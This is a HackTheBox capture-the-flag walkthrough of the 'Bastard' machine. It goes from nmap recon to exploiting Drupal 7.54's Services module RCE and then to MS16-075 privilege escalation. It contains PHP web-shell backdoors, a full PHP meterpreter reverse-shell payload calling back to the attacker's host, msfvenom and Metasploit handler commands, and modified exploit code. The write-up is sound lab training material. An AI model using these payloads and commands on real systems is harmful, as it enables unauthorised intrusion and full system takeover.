This HackTheBox can be found here.
Bastard is an old HTB challenge that I completed years ago when prepping for the OSCP exam. For future writeups, I plan on revisiting boxes from TJnull’s OSCP, OSEP, and OSWE list.
Recon
We’ll start with a nmap scan:
1
nmap -sC -sV -p- -T4 -oN allports 10.10.10.9
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Nmap scan report for 10.10.10.9
Host is up (0.037s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Welcome to Bastard | Bastard
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
135/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Okay, so not a lot of ports open. We have a web server running on port 80 and two RPC ports. The web server is running Drupal 7 which is an instant red flag. Let’s check out the site:
Nmap told us that it is Drupal 7, but we want to get the exact version number. To do this, you can use a tool such as Drupwn or browse to http://<drupal target>/CHANGELOG.txt. Browsing gives us the following:
1
2
3
4
5
6
7
8
Drupal 7.54, 2017-02-01
-----------------------
- Modules are now able to define theme engines (API addition:
https://www.drupal.org/node/2826480).
- Logging of searches can now be disabled (new option in the administrative
interface).
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~SNIP~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Now we know the exact version number is Drupal 7.54.
Shell As Iusr - User.txt
Let’s use Searchsploit to see if there are any exploits already on the Kali box:
1
searchsploit drupal 7.
It looks like we’ve got a lot of options to try. I chose to go with Drupal 7.x Module Services - Remote Code Execution. This is a multi-stage exploit that ultimately allows for writing our own PHP file and gaining RCE. A full writeup on the vuln can be found here.
Drupalgeddon and Drupalgeddon2 would also work against this box. These vulns were unknown when Bastard was originally released.
Let’s copy the exploit to our working directory:
1
searchsploit -m 41564
And take a look at the top of the PHP file:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# Exploit Title: Drupal 7.x Services Module Remote Code Execution
# Vendor Homepage: https://www.drupal.org/project/services
# Exploit Author: Charles FOL
# Contact: https://twitter.com/ambionics
# Website: https://www.ambionics.io/blog/drupal-services-module-rce
#!/usr/bin/php
<?php
# Drupal Services Module Remote Code Execution Exploit
# https://www.ambionics.io/blog/drupal-services-module-rce
# cf
#
# Three stages:
# 1. Use the SQL Injection to get the contents of the cache for current endpoint
# along with admin credentials and hash
# 2. Alter the cache to allow us to write a file and do so
# 3. Restore the cache
#
# Initialization
error_reporting(E_ALL);
define('QID', 'anything');
define('TYPE_PHP', 'application/vnd.php.serialized');
define('TYPE_JSON', 'application/json');
define('CONTROLLER', 'user');
define('ACTION', 'login');
$url = 'http://vmweb.lan/drupal-7.54'; #CHANGE ME
$endpoint_path = '/rest_endpoint'; #CHANGE ME
$endpoint = 'rest_endpoint';
$file = [
'filename' => 'dixuSOspsOUU.php', #CHANGE ME
'data' => '<?php eval(file_get_contents(\'php://input\')); ?>' #CHANGE ME
];
$browser = new Browser($url . $endpoint_path);
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~SNIP~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
We’ll need to change several lines above. First, swap out the $url variable. Now we need to find the REST endpoint. Browsing to http://<drupal target>/rest_endpoint gives us a 404, but browsing to http://<drupal target>/rest tells us we’ve found it:
The above endpoint goes in the $endpoint_path variable. I also swapped out the filename and data fields to a unique name and a simple PHP backdoor
After the changes, I’m left with:
1
2
3
4
5
6
7
8
9
$url = 'http://10.10.10.9/';
$endpoint_path = '/rest';
$endpoint = 'rest_endpoint';
$file = [
'filename' => 'shell_exec.php',
'data' => '<?php echo shell_exec($_GET["cmd"]); ?>'
];
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~SNIP~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The script uses php-curl so make sure to install: sudo apt-get install php-curl before running.
Now lets run the exploit php 41564.php:
Everything looks good so lets browse to http://<drupal target>/shell_exec.php?cmd=whoami and see if we have command execution:
The next step I took was to get a reverse shell. To do this, I used revshells.com to generate a Base64 encoded powershell payload. After getting a connection back, I could see the shell was extremely unstable and limited, so I decided to go for a meterpreter shell. Catching the shell in msfconsole and attempting to upgrade failed, so I went back to the initial exploit.
Upgrading to Meterpreter
First, let’s generate a meterpreter PHP payload:
1
msfvenom -p php/meterpreter/reverse_tcp LHOST=tun0 LPORT=4444 -f raw -o shell.php
Now open we need to open 41564.php and swap out the payload. Since our meterpreter payload has a mix of single and double quotes, we can use the NOWDOC string method to avoid an escaping nightmare. Copy your payload from msfvenom and assign it to a new variable. Next, swap out the data field with your payload variable. Doing this left me with the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
$url = 'http://10.10.10.9';
$endpoint_path = '/rest';
$endpoint = 'rest_endpoint';
$payload = <<<'EOD'
/*<?php /**/ error_reporting(0); $ip = '10.10.14.13'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
EOD;
$file = [
'filename' => 'shelly.php',
'data' => $payload
];
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~SNIP~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Now that our payload is ready, lets start a metasploit listener:
1
2
3
4
5
6
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST tun0
set LPORT 4444
run
The listener is ready, so let’s run the exploit:
1
php 41564.php
Our file gets uploaded to the server but not triggered. To trigger it, browse to http://<drupal target>/shelly.php and we should get a meterpreter shell:
User.txt can then be found on dimitris desktop: 
Privilege Escalation - Root.txt
Running sysinfo tells us that this is an outdated system, so we are probably looking at a kernel exploit in order to elevate our privileges:
1
2
3
4
meterpreter > sysinfo
Computer : BASTARD
OS : Windows NT BASTARD 6.1 build 7600 (Windows Server 2008 R2 Datacenter Edition) i586
Meterpreter : php/windows
After some more testing, I was still getting some instability with the shell, so I decided to upgrade it once again.
Meterpreter PHP shells lack features compared to OS specific Meterpreter shells. It was not necessary to upgrade again, but I went ahead and did.
PHP Meterpreter to Windows Meterpreter
First, I generated a Windows Meterpreter payload with msfvenom:
1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=4445 -f exe -o shell.exe
Now in a new tab, open a second msfconsole and start the listener:
1
2
3
4
5
6
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST tun0
set LPORT 4445
run
Next, we need to upload the payload to the target. Within the first msfconsole, we can use upload <local\path\to\>shell.exe . to drop it on the host. Once uploaded, we can start it with execute -f shell.exe. We should get a new meterpreter session in our second msfconsole:
This will be the shell I’ll use for the rest of the box. Now that we have a Windows Meterpreter shell, we can use exploit suggester to find exploits:
1
run post/multi/recon/local_exploit_suggester
There are a few we can choose from, but I went with windows/local/ms16_075_reflection_juicy. Let’s background the current session and set up the exploit:
1
2
3
4
5
6
7
background
# Take note of the session number
use exploit/windows/local/ms16_075_reflection_juicy
set session <session number>
set LHOST tun0
set LPORT 4446
run
We should get a new session back. Running getuid shows that we are nt authority\system and we can grab the root.txt flag off the Administrator desktop:
Final Thoughts
All in all, this was a fun box to complete. I made it more difficult than it needed to be, but wanted to get some keyboard time with meterpreter since I usually use other C2 frameworks.